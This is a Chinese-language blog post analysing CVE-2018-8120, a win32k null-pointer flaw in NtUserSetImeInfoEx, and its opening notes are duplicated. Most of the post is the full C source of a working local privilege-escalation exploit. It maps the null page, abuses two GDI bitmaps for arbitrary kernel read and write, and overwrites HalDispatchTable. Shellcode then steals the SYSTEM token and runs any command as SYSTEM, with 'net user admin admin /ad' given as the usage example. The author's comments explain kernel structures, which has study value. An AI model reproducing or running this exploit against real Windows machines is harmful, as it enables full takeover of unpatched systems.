CVE-2018-8120 分析
阿新 • • 發佈:2018-08-07
detect state cls ssid cda device cee 關鍵點 數據結構 提權:
shellcode大部分是拷貝訪問令牌 token
原理: 拷貝進程pid為 4(這裏為 4)的token 到當前進程的EPROCESS 中的token實現提權
漏洞的再次利用漏洞
bitmap 漏洞可以實現任意地址的讀寫
https://bbs.pediy.com/thread-225209.htm
http://netsecurity.51cto.com/art/201703/534434.htm
CVE-2018-8120的漏洞關鍵點有倆個:
1.沒有檢查空指針。導致可以在 null 頁放 shellcode
2.有一個地址拷貝操作。bitmap 漏洞剛好要一個地址拷貝操作。
shellcode大部分是拷貝訪問令牌 token
原理: 拷貝進程pid為 4(這裏為 4)的token 到當前進程的EPROCESS 中的token實現提權
漏洞的再次利用漏洞
bitmap 漏洞可以實現任意地址的讀寫
https://bbs.pediy.com/thread-225209.htm
http://netsecurity.51cto.com/art/201703/534434.htm
CVE-2018-8120的漏洞關鍵點有倆個:
1.沒有檢查空指針。導致可以在 null 頁放 shellcode
2.有一個地址拷貝操作。bitmap 漏洞剛好要一個地址拷貝操作。
#define PSAPI_VERSION 1 #include <windows.h> #include <stdio.h> #include <Psapi.h> #include <intrin.h> //#pragma comment(lib,"ntdll.lib") #pragma comment(lib, "Psapi.lib") #ifndef _WIN64 typedef NTSYSAPI NTSTATUS (NTAPI *_NtAllocateVirtualMemory)( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN ULONG ZeroBits, IN OUT PULONG RegionSize, IN ULONG AllocationType, IN ULONG Protect); struct tagIMEINFO32 { unsigned int dwPrivateDataSize; unsigned int fdwProperty; unsigned int fdwConversionCaps; unsigned int fdwSentenceCaps; unsigned int fdwUICaps; unsigned int fdwSCSCaps; unsigned int fdwSelectCaps; }; typedef struct tagIMEINFOEX { HKL__ *hkl; tagIMEINFO32 ImeInfo; wchar_t wszUIClass[16]; unsigned int fdwInitConvMode; int fInitOpen; int fLoadFlag; unsigned int dwProdVersion; unsigned int dwImeWinVersion; wchar_t wszImeDescription[50]; wchar_t wszImeFile[80]; __int32 fSysWow64Only : 1; __int32 fCUASLayer : 1; }IMEINFOEX, *PIMEINFOEX; struct _HEAD { void *h; unsigned int cLockObj; }; struct tagKBDFILE { _HEAD head; tagKBDFILE *pkfNext; void *hBase; void *pKbdTbl; unsigned int Size; void *pKbdNlsTbl; wchar_t awchDllName[32]; }; typedef struct _tagKL { _HEAD head; _tagKL *pklNext; _tagKL *pklPrev; unsigned int dwKL_Flags; HKL__ *hkl; tagKBDFILE *spkf; tagKBDFILE *spkfPrimary; unsigned int dwFontSigs; unsigned int iBaseCharset; unsigned __int16 CodePage; wchar_t wchDiacritic; tagIMEINFOEX *piiex; unsigned int uNumTbl; tagKBDFILE **pspkfExtra; unsigned int dwLastKbdType; unsigned int dwLastKbdSubType; unsigned int dwKLID; }tagKL, *P_tagKL; DWORD gSyscall = 0; __declspec(naked) void NtUserSetImeInfoEx(PVOID tmp) { _asm { mov esi, tmp; mov eax, gSyscall; mov edx, 0x7FFE0300; call dword ptr[edx]; ret 4; } } #else extern "C" void NtUserSetImeInfoEx(PVOID); typedef NTSYSAPI NTSTATUS (NTAPI *_NtAllocateVirtualMemory)( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN ULONG ZeroBits, IN OUT PULONG64 RegionSize, IN ULONG AllocationType, IN ULONG Protect); #endif typedef struct { LPVOID pKernelAddress; USHORT wProcessId; USHORT wCount; USHORT wUpper; USHORT wType; LPVOID pUserAddress; } GDICELL; typedef NTSTATUS(__stdcall*RtlGetVersionT)(PRTL_OSVERSIONINFOW lpVersionInformation); typedef BOOL(WINAPI *LPFN_GLPI)( PSYSTEM_LOGICAL_PROCESSOR_INFORMATION, PDWORD); typedef NTSTATUS(WINAPI *NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval); NtQueryIntervalProfile_t NtQueryIntervalProfile; DWORD gTableOffset = 0; HANDLE gManger, gWorker; #ifdef _WIN64 ULONG64 gtable; #else DWORD gtable; #endif #ifdef _WIN64 ULONG64 getpeb() { #else DWORD getpeb() { #endif #ifdef _WIN64 ULONG64 p = (ULONG64)__readgsqword(0x30); p = *(ULONG64*)(p + 0x60); #else // fs18是指向當前段選擇子的自身也就當前teb 面 fs0 是一條鏈 //讀取fs中的偏移 fs [0] 與 fs [0x18](self) = teb DWORD p = (DWORD)__readfsdword(0x18); //peb p = *(DWORD*)((char*)p + 0x30); #endif return p; } #ifdef _WIN64 ULONG64 getgdi() { #else //獲取句柄表 DWORD getgdi() { #endif #ifdef _WIN64 return *(ULONG64*)(getpeb() + gTableOffset); #else //表的偏移 gTableOffset = GdiSharedHandleTable Gdi句柄表 return *(DWORD*)(getpeb() + gTableOffset); #endif } PVOID getpvscan0(HANDLE h) { //句柄表 if (!gtable) gtable = getgdi(); #ifdef _WIN64 ULONG64 p = gtable + LOWORD(h) * sizeof(GDICELL); //64位直接就是地址 GDICELL *c = (GDICELL*)p; return (char*)c->pKernelAddress + 0x50; #else // LOWORD()得到一個32bit數的低16bit 句柄的最後兩個字節是該結構在GdiSharedHandleTable數組中的索引(=>handle & 0xffff) DWORD p = (gtable + LOWORD(h) * sizeof(GDICELL)) & 0x00000000ffffffff; //32位的地址 如:0xfffff901 43e97000 //拿到GDICELL GDICELL *c = (GDICELL*)p; //GDICELL結構的 pKernelAddress 成員指向 BASEOBJECT 結構 //BASEOBJECT 結構 的後面有一個特定的結構體 它的類型取決於該對象的類型。對於bitmaps來說,這是個 surface object 結構體 //要內存中是這樣的 // 32bit size: 0x10 // 64bit size: 0x18 /*struct _BASEOBJECT { IntPtr hHmgr; UInt32 ulShareCount; UInt16 cExclusiveLock; UInt16 BaseFlags; UIntPtr Tid; }*/ // 32bit size: 0x34 // 64bit size: 0x50 // struct _SURFOBJ //{ // IntPtr dhsurf; // IntPtr hsurf; // IntPtr dhpdev; // IntPtr hdev; // IntPtr sizlBitmap; // UIntPtr cjBits; // IntPtr pvBits; // IntPtr pvScan0; // offset => 32bit = 0x20 & 64bit = 0x38 // UInt32 lDelta; // UInt32 iUniq; // UInt32 iBitmapFormat; // UInt16 iType; // UInt16 fjBitmap; //} //struct { // BASEOBJECT baseobject; //32位為0x10 // SUUOBJ surobj; // ...... //} //拿到 return (char*)c->pKernelAddress + 0x30; //0x30 =sizeof(baseobject)0x10 +(pvscan0偏移)0x20 #endif } #ifdef _WIN64 typedef unsigned __int64 QWORD, *PQWORD; typedef QWORD DT; #else typedef DWORD DT; #endif extern "C" DT g_EPROCESS_TokenOffset = 0, g_EPROCESS = 0, g_flink = 0, g_kthread = 0, g_PID = 0; #ifdef _WIN64 extern "C" void shellcode08(void); extern "C" void shellcode7(void); #else __declspec(noinline) int shellcode() { __asm { pushad;// save registers state mov edx, g_kthread; mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread fs[0x120]= _KPRCB 再加4=_KTHREAD mov edx, g_EPROCESS; mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process //32位下 //_kthread 0x34為 KAPC_STATE結構為 //typedef struct _KAPC_STATE { // LIST_ENTRY ApcListHead[MaximumMode]; //線程的apc鏈表 只有兩個 內核態和用戶態 // struct _KPROCESS *Process; //當前線程的進程體 PsGetCurrentProcess() //0x38 g_EPROCESS = 0x38 // BOOLEAN KernelApcInProgress; //內核APC正在執行 // BOOLEAN KernelApcPending; //內核APC正在等待執行 // BOOLEAN UserApcPending; //用戶APC正在等待執行 //} KAPC_STATE, *PKAPC_STATE, *PRKAPC_STATE; //_kthread 0x34+4= _KPROCESS _KPROCESS為_EPROCESS的第一個字段 也就是說等於_EPROCESS mov ecx, eax;// Copy current _EPROCESS structure 當前進程的 _EPROCESS mov esi, g_EPROCESS_TokenOffset; //Token mov edx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4 mov edi, g_flink; mov ebx, g_PID; SearchSystemPID: mov eax, [eax + edi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, edi; cmp[eax + ebx], edx;// Get nt!_EPROCESS.UniqueProcessId 判斷是否等於0x4 jne SearchSystemPID; mov edx, [eax + esi];// Get SYSTEM process nt!_EPROCESS.Token mov[ecx + esi], edx;// Copy nt!_EPROCESS.Token of SYSTEM to current process //_EPROCESS.Token=SYSTEM_EPROCESS.Token popad;// restore registers state // recovery xor eax, eax;// Set NTSTATUS SUCCEESS } } #endif DWORD GetCpuNumber() { LPFN_GLPI glpi; BOOL done = FALSE; PSYSTEM_LOGICAL_PROCESSOR_INFORMATION buffer = NULL; PSYSTEM_LOGICAL_PROCESSOR_INFORMATION ptr = NULL; DWORD returnLength = 0; DWORD logicalProcessorCount = 0; DWORD numaNodeCount = 0; DWORD processorPackageCount = 0; DWORD byteOffset = 0; glpi = (LPFN_GLPI)GetProcAddress( GetModuleHandle(TEXT("kernel32")), "GetLogicalProcessorInformation"); if (NULL == glpi) { puts("[-] GetLogicalProcessorInformation is not supported."); return (1); } while (!done) { DWORD rc = glpi(buffer, &returnLength); if (FALSE == rc) { if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) { if (buffer) free(buffer); buffer = (PSYSTEM_LOGICAL_PROCESSOR_INFORMATION)malloc( returnLength); if (NULL == buffer) { puts("[-] Error: Allocation failure"); return (1); } } else { printf("[-] Error %d\n", GetLastError()); return 1; } } else { done = TRUE; } } ptr = buffer; while (byteOffset + sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION) <= returnLength) { switch (ptr->Relationship) { case RelationProcessorPackage: // Logical processors share a physical package. processorPackageCount++; default: break; } byteOffset += sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION); ptr++; } return processorPackageCount; } // detect extract kernel images. char* DetectKernel(PDWORD offset) { BOOL pae = FALSE; *offset = 0; int tmp[4]; RtlSecureZeroMemory(tmp, sizeof(tmp)); __cpuid(tmp, 1); if (tmp[3]&0x40) { pae = TRUE; } if (GetCpuNumber()>1) { #ifndef _WIN64 if (pae) { *offset = 0x9000; return "ntkrpamp.exe"; } else #endif { return "ntkrnlmp.exe"; } } else { #ifndef _WIN64 if (pae) { *offset = 0x9000; return "ntkrnlpa.exe"; } else #endif { return "ntoskrnl.exe"; } } } //HalDispatchTable PVOID leakHal() { DT ntoskrnlBase; DT HalDTUser, HalDTOffset; HMODULE userKernel; char * FuncAddress = 0L; LPVOID drivers[1024]; DWORD cbNeeded; if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) { if (drivers[0]) { ntoskrnlBase = (DT)drivers[0]; } } else { printf("[-] EnumDeviceDrivers failed; array size needed is %d\n", cbNeeded / sizeof(LPVOID)); } // ntoskrnlBase = (DWORD)pModuleInfo->Modules[0].ImageBase; DWORD offset = 0; bool failback = false; char *kernel = DetectKernel(&offset); printf("[+] Detected kernel %s\n", kernel); userKernel = LoadLibraryExA(kernel, NULL, DONT_RESOLVE_DLL_REFERENCES); if (userKernel == NULL) { printf("[-] Could not load %s , load ntoskrnl.exe instead.\n",kernel); userKernel = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES); failback = true; if (userKernel == NULL) { puts("[-] Could not load ntoskrnl.exe"); return FALSE; } } //獲取內核分發表 HalDTUser = (DT)GetProcAddress(userKernel, "HalDispatchTable"); //計算偏移 HalDTOffset = HalDTUser - (DT)userKernel; if (failback) { return (PVOID)(ntoskrnlBase + HalDTOffset + offset); } else { return (PVOID)(ntoskrnlBase + HalDTOffset); } } //main void main() { //參數個數 int argc = 0; //參數數組 wchar_t **argv = CommandLineToArgvW(GetCommandLineW(), &argc); puts("CVE-2018-8120 exploit by @unamer(https://github.com/unamer)"); fflush(stdout); if (argc != 2) { puts("Usage: exp.exe command\nExample: exp.exe \"net user admin admin /ad\""); fflush(stdout); ExitProcess(0); } //獲取ntdll的句柄 HMODULE hntdll = GetModuleHandle(L"ntdll"); PVOID overwrite_address; int overwrite_offset; ULONG Interval = 0; PVOID sc=0; //操作系統版本信息 //typedef OSVERSIONINFOW OSVERSIONINFO; //typedef struct _OSVERSIONINFOW { // DWORD dwOSVersionInfoSize; //指定該數據結構的字節大小 // DWORD dwMajorVersion; //操作系統的主版本號 5代表2000以上版本 // DWORD dwMinorVersion; //操作系統的副版本號 0代表win2000. 1代表winxp // DWORD dwBuildNumber; //操作系統的創建號 // DWORD dwPlatformId; //操作系統ID號 // WCHAR szCSDVersion[ 128 ]; // Maintenance string for PSS usage 關於操作系統的一些附加信息 //} OSVERSIONINFOW, *POSVERSIONINFOW, *LPOSVERSIONINFOW, RTL_OSVERSIONINFOW, *PRTL_OSVERSIONINFOW; OSVERSIONINFOW osver; //避免優化編譯器的意外的影響 初始化為0 RtlSecureZeroMemory(&osver, sizeof(osver)); osver.dwOSVersionInfoSize = sizeof(osver); //獲取函數 RtlGetVersionT pRtlGetVersion = (RtlGetVersionT)GetProcAddress(hntdll, "RtlGetVersion"); pRtlGetVersion(&osver); //操作系統的主版本號 if (osver.dwMajorVersion == 5) { #ifdef _WIN64 g_EPROCESS_TokenOffset = 0x160; g_EPROCESS = 0x68; g_flink = 0xe0; g_PID = 0xd8; g_kthread = 0x188; #else g_EPROCESS_TokenOffset = 0xd8; g_EPROCESS = 0x38; g_flink = 0x098; g_PID = 0x94; g_kthread = 0x124; #endif } else if (osver.dwMajorVersion == 6) { #ifdef _WIN64 gTableOffset = 0x0f8; if (osver.dwMinorVersion == 0)//win2008 { overwrite_address = (char*)leakHal(); // HalDispatchTable overwrite_offset = 0x8; // QueryIntervalProfile sc = &shellcode08; g_EPROCESS_TokenOffset = 0x168; g_EPROCESS = 0x68; g_flink = 0xe0; g_PID = 0xe8; g_kthread = 0x188; } else {//win7 overwrite_address = (char*)leakHal(); // HalDispatchTable overwrite_offset = 0x8; // QueryIntervalProfile sc = &shellcode7; g_EPROCESS_TokenOffset = 0x208; g_EPROCESS = 0x70; g_flink = 0x188; g_PID = 0x180; g_kthread = 0x188; } #else gTableOffset = 0x094; if (osver.dwMinorVersion == 0)//win2008 { //計算要覆蓋內核分發表中的地址 overwrite_address = (char*)leakHal(); // HalDispatchTable overwrite_offset = 0x4; // QueryIntervalProfile gSyscall = 0x121b; g_EPROCESS_TokenOffset = 0xe0; g_EPROCESS = 0x48; g_flink = 0xa0; g_PID = 0x9c; g_kthread = 0x124; } else {//win7 overwrite_address = (char*)leakHal(); // HalDispatchTable overwrite_offset = 0x4; // QueryIntervalProfile gSyscall = 0x1226; g_EPROCESS_TokenOffset = 0xf8; g_EPROCESS = 0x50; g_flink = 0xb8; g_PID = 0xb4; g_kthread = 0x124; } #endif } else { printf("[-] Not supported version %d\n", osver.dwBuildNumber); ExitProcess(-1); } //獲取申請內存有函數 _NtAllocateVirtualMemory NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress((HMODULE)hntdll,"NtAllocateVirtualMemory"); //地址 PVOID addr = (PVOID)0x100; //一頁 DT size = 0x1000; if (!NtAllocateVirtualMemory) { printf("[-] Fail to resolve NtAllocateVirtualMemory(0x%X)\n", GetLastError()); fflush(stdout); ExitProcess(1); } //映射0頁內存 MEM_RESERVE保留 MEM_COMMIT提交 if (NtAllocateVirtualMemory(GetCurrentProcess(), &addr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) { puts("[-] Fail to alloc null page!"); fflush(stdout); ExitProcess(2); } //創建窗口站對象與調用進程相關聯並將它分配給當前會話 HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0); if (!hSta) { printf("[-] CreateWindowStationW fail(0x%X)\n", GetLastError()); fflush(stdout); ExitProcess(3); } //改變進程關聯的窗口站 if (!SetProcessWindowStation(hSta)) { printf("[-] SetProcessWindowStation fail(0x%X)\n", GetLastError()); fflush(stdout); ExitProcess(4); } unsigned int bbuf[0x60] = {0x90}; //RtlSecureZeroMemory(bbuf, 0x60); //創建倆個位圖 HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf); HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf); PVOID mpv = getpvscan0(gManger); PVOID wpv = getpvscan0(gWorker); #ifndef _WIN64 printf("[+] Get manager at %lx,worker at %lx\n", mpv, wpv); P_tagKL pkl = 0; //用作參數比較 pkl->hkl = (HKL__ *)wpv; //把wpv拷貝到mpv //設置漏洞拷貝的目的地址,NtUserSetImeInfoEx 函數會把它的參數( WINDOWSTATION->spklList[index]->tagKL //->piiex這個成員裏 pkl->piiex = (tagIMEINFOEX *)((char*)mpv - sizeof(PVOID)); IMEINFOEX ime; RtlSecureZeroMemory(&ime, sizeof(IMEINFOEX)); #else printf("[+] Get manager at %llx,worker at %llx\n", mpv, wpv); char* pkl = 0; *(DT*)(pkl + 0x28) = (DT)wpv; *(DT*)(pkl + 0x50) = (DT)mpv - sizeof(PVOID); char ime[0x200]; RtlSecureZeroMemory(&ime, 0x200); #endif // _WIN32 fflush(stdout); // Initialize exploit parameters //設置參數ime結構的第一個字段 等於 wpv PVOID *p = (PVOID *)&ime; p[0] = (PVOID)wpv; p[1] = (PVOID)wpv; DWORD *pp = (DWORD *)&p[2]; pp[0] = 0x180; pp[1] = 0xabcd; pp[2] = 6; pp[3] = 0x10000; #ifndef _WIN64 pp[5] = 0x4800200; #else pp[6] = 0x4800200; #endif // _WIN32 // trigger vuln // bp win32k!SetImeInfoEx // bp win32k!NtUserSetImeInfoEx // modify the pvscan0 of manager! puts("[+] Triggering vulnerability..."); fflush(stdout); fflush(stderr); NtUserSetImeInfoEx((PVOID)&ime); //QueryIntervalProfile PVOID oaddr = ((char*)overwrite_address + overwrite_offset); #ifndef _WIN64 sc = &shellcode; printf("[+] Overwriting...%lx\n", oaddr); #else printf("[+] Overwriting...%llx\n", oaddr); #endif // _WIN32 fflush(stdout); PVOID pOrg = 0; //使用漏洞將 Worke的 rpvScan0 偏移量地址寫入 Manager 的 pvScan0 值 也就是 Manager 的 pvScan0 值現在指向 Worke的 rpvScan0 //使用 Manager 上的SetBitmapBits 來選擇地址 也就是設置 Worke的 rpvScan0的值為選擇地址 //然後在 Worker 上使用GetBitmapBits/ SetBitmapBits來讀取/寫入上一步設置的地址 //先設置oaddr到pvscan0 也就是pvscan0指向oaddr SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr); //獲取舊的地址也就是原理函數地址 GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg); //設置shellcode 到pvscan0指向的地址 SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc); //獲取函數 NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hntdll, "NtQueryIntervalProfile"); if (!NtQueryIntervalProfile) { fflush(stdout); fflush(stderr); printf("[-] Fail to resolve NtQueryIntervalProfile(0x%X)\n", GetLastError()); ExitProcess(2); } puts("[+] Elevating privilege..."); //調用 NtQueryIntervalProfile(0x1337, &Interval); puts("[+] Cleaning up..."); //把原理的函數地址設置回去 SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg); SECURITY_ATTRIBUTES sa; HANDLE hRead, hWrite; byte buf[40960] = { 0 }; STARTUPINFOW si; PROCESS_INFORMATION pi; DWORD bytesRead; RtlSecureZeroMemory(&si, sizeof(si)); RtlSecureZeroMemory(&pi, sizeof(pi)); RtlSecureZeroMemory(&sa, sizeof(sa)); int br = 0; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; if (!CreatePipe(&hRead, &hWrite, &sa, 0)) { fflush(stdout); fflush(stderr); ExitProcess(5); } wprintf(L"[+] Trying to execute %s as SYSTEM...\n", argv[1]); si.cb = sizeof(STARTUPINFO); GetStartupInfoW(&si); si.hStdError = hWrite; si.hStdOutput = hWrite; si.wShowWindow = SW_HIDE; si.lpDesktop = L"WinSta0\\Default"; si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; wchar_t cmd[4096] = { 0 }; lstrcpyW(cmd, argv[1]); //創建新的進程 if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { fflush(stdout); fflush(stderr); CloseHandle(hWrite); CloseHandle(hRead); wprintf(L"[-] CreateProcessW failed![%p]\n", GetLastError()); ExitProcess(6); } CloseHandle(hWrite); printf("[+] Process created with pid %d!\n", pi.dwProcessId); while (1) { if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL)) break; br += bytesRead; } // HANDLE h = GetStdHandle(STD_OUTPUT_HANDLE); // WriteConsoleA(h, buf, br, &bytesRead, 0); puts((char*)buf); fflush(stdout); fflush(stderr); CloseHandle(hRead); CloseHandle(pi.hProcess); }
poc下載:
https://github.com/alpha1ab/CVE-2018-8120
分析報告可以參考:
http://www.freebuf.com/column/174182.html
http://www.freebuf.com/column/173797.html
CVE-2018-8120 分析